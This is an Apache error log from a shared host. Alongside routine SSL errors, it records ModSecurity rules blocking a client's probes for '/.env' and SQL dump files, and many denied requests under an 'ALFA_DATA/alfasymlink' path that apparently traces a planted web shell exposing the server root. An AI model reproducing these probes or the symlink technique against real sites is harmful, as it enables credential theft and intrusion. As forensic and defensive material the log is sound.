[Sun Oct 25 06:06:18.185786 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 34.231.77.232:32458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/rescan
[Sun Oct 25 06:06:50.282272 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.54.249.218:54339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:06:54.120230 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 18.209.137.234:13776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:07.270221 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 185.191.171.11:27676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/reclaim_account
[Sun Oct 25 06:07:14.128810 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.84.147.79:22382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:17.795990 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3U1b2dQNaDuK1aHdoldAAAAAs"]
[Sun Oct 25 06:07:17.796258 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3U1b2dQNaDuK1aHdoldAAAAAs"]
[Sun Oct 25 06:07:17.797191 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3U1b2dQNaDuK1aHdoldAAAAAs"]
[Sun Oct 25 06:07:18.128745 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.204.71.8:61267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:19.978319 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at3U172dQNaDuK1aHdoldQAAAAs"]
[Sun Oct 25 06:07:19.978786 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at3U172dQNaDuK1aHdoldQAAAAs"]
[Sun Oct 25 06:07:19.980042 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3U172dQNaDuK1aHdoldQAAAAs"]
[Sun Oct 25 06:07:22.073040 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at3U2r2dQNaDuK1aHdoldgAAAAs"]
[Sun Oct 25 06:07:22.073495 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at3U2r2dQNaDuK1aHdoldgAAAAs"]
[Sun Oct 25 06:07:22.074337 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3U2r2dQNaDuK1aHdoldgAAAAs"]
[Sun Oct 25 06:07:22.129351 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 100.29.63.24:3046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:23.577689 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at3U272dQNaDuK1aHdoldwAAAAs"]
[Sun Oct 25 06:07:23.578150 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at3U272dQNaDuK1aHdoldwAAAAs"]
[Sun Oct 25 06:07:23.579101 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3U272dQNaDuK1aHdoldwAAAAs"]
[Sun Oct 25 06:07:25.264173 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at3U3b2dQNaDuK1aHdoleAAAAAs"]
[Sun Oct 25 06:07:25.264656 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at3U3b2dQNaDuK1aHdoleAAAAAs"]
[Sun Oct 25 06:07:25.265757 2026] [security2:error] [pid 2800259:tid 2800259] [client 154.37.80.209:30784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3U3b2dQNaDuK1aHdoleAAAAAs"]
[Sun Oct 25 06:07:30.128298 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.195.60.66:58089] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:34.337223 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.207.79.144:50257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:46.164050 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.211.148.239:34295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:50.118901 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 184.73.35.182:39809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:07:54.262715 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.194.139.149:1790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:17.779834 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 185.191.171.11:51752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:18.144451 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 3.220.70.171:8776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:30.131961 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 100.28.57.133:41465] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/driver/bind
[Sun Oct 25 06:08:42.199571 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 18.214.138.148:4729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:46.223530 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 44.206.93.215:6582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:50.111944 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.227.90:30296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:08:54.132806 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 52.205.222.214:63658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/port
[Sun Oct 25 06:08:58.130186 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 34.192.125.239:4304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory9/subsystem/uevent
[Sun Oct 25 06:09:02.168323 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.229.2.217:21439] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:06.215971 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.70.123.241:10023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:10.129786 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.212.219.113:20682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:10.694601 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.11:11564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/block/sr0/device/rescan
[Sun Oct 25 06:09:14.117737 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.45.194.165:7363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:22.144206 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.205.113.104:14927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:30.108771 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 18.213.240.226:6271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:09:34.561116 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 85.208.96.197:63300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/destroy_by_rcu
[Sun Oct 25 06:09:50.222171 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.197.28.78:14968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:02.122488 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.212.86.97:41775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:10.216669 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 3.94.40.182:4674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/driver/serio0/subsystem/drivers/serio_raw/unbind
[Sun Oct 25 06:10:18.107534 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.235.125.129:26279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:24.012056 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.12:15910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/aliases
[Sun Oct 25 06:10:25.522254 2026] [authz_core:error] [pid 2799890:tid 2799890] [client 23.22.243.211:30044] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 06:10:30.148304 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 98.83.94.113:4492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:38.168261 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.6.232.201:29741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:42.123164 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.216.227.216:62741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:42.475335 2026] [security2:error] [pid 2799892:tid 2799892] [client 49.51.47.100:54026] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/output.csv"] [unique_id "at3VopVuuRM02w6bkBPGcAAAAAM"]
[Sun Oct 25 06:10:45.314233 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.197:61582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/destroy_by_rcu
[Sun Oct 25 06:10:50.144143 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 18.235.81.246:15341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:10:58.261514 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.83.56.1:29720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:11:18.209991 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 184.72.95.195:42152] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:11:27.627975 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.204:30280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/free_calls
[Sun Oct 25 06:11:30.178195 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 34.194.233.48:26298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:11:34.190270 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.205.141.124:63256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:11:43.145865 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 23.23.180.225:24298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:11:50.432247 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.163.169.168:23300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:00.149485 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 185.191.171.2:11712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/free_calls
[Sun Oct 25 06:12:06.346858 2026] [ssl:error] [pid 2799892:tid 2799892] (5)Input/output error: [client 52.44.174.136:57710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:14.353095 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.210.152.179:41214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:26.211764 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.221.37.41:5115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:30.492683 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.21.62.139:53721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:33.863274 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 85.208.96.195:32718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/slabs_cpu_partial
[Sun Oct 25 06:12:34.231463 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.203.111.15:56435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:12:46.346538 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.2.83.227:6784] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:13:02.523509 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 54.197.114.76:20144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:13:22.403927 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 52.204.253.129:26668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:13:30.295953 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.205.141.124:1520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:13:50.218976 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 85.208.96.197:29802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/order
[Sun Oct 25 06:13:50.270574 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 54.166.126.132:64151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/driver/module/uevent
[Sun Oct 25 06:13:54.303189 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.207.207.36:56586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:13:58.671977 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.44.174.136:18237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:02.315598 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.216.86.144:25070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:06.284550 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.84.93.8:60345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:08.632062 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 85.208.96.198:26232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/objects_partial
[Sun Oct 25 06:14:10.381422 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.221.50.71:24260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Sun Oct 25 06:14:14.512875 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 34.238.45.183:28895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/remove_id
[Sun Oct 25 06:14:18.569704 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.210.155.69:10706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:22.464964 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.195.50.71:43397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:26.275911 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 23.22.105.143:23380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:30.438906 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.80.185.200:50873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:38.341943 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.203.152.231:38629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:42.426855 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 34.226.89.140:51224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Sun Oct 25 06:14:46.272887 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.224.205.25:16101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:48.234720 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 185.191.171.11:58548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:54.388399 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.174.253.85:37564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:14:59.032354 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.222.85.38:52916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:02.359015 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.194.95.99:35740] AH02013: coalesce failed to read from data bucket
